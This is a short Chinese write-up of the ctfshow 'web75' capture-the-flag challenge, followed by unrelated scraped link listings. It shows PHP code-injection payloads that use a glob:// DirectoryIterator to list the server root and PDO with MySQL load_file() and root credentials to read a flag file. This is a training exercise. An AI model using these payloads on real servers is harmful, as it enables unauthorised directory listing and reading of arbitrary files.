ctfshow web75

开启环境:

先直接用伪协议获取 flag 位置

c=?><?php a=new DirectoryIterator("glob:///\*"); foreach(a as f) {echo(f->__toString().' ');} exit(0); ?>

c=try {dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach(dbh->query('select load_file("/flag36.txt")') as row){echo(row[0])."|"; }dbh = null;}catch (PDOException e) {echo $e->getMessage();exit(0);}exit(0);

try {

创建 PDO 实例, 连接 MySQL 数据库

$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');

在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。

foreach(dbh-\>query('select load_file("/flag36.txt")') as row) {

echo($row[0])."|";

}

$dbh = null;

}

catch (PDOException $e) {

echo $e->getMessage();exit(0);

}

exit(0);

相关推荐
私人珍藏库3 分钟前
[Android] 轻小说文库(1.23)
android·app·安卓·工具
FrameNotWork22 分钟前
去掉XOSLauncher自带的widget组件图标
android
Evan芙32 分钟前
Ubuntu 24.04 双网卡 bond0 绑定
ubuntu·postgresql·php
飞梦工作室33 分钟前
PHP 中 php://input 的全面使用指南
android·开发语言·php
熬夜敲代码的小N1 小时前
Unity WebRequest高级操作:构建高效稳定的网络通信模块
android·数据结构·unity·游戏引擎
2401_865854881 小时前
云服务器的IP是干嘛的?有什么作用?
服务器·tcp/ip·php
Android技术之家1 小时前
安卓对外发布工程源码:如何实现仅暴露 UI 层
android·ui
Digitally1 小时前
如何快速将iPhone上的图片发送到安卓手机(6种方法)
android·智能手机·iphone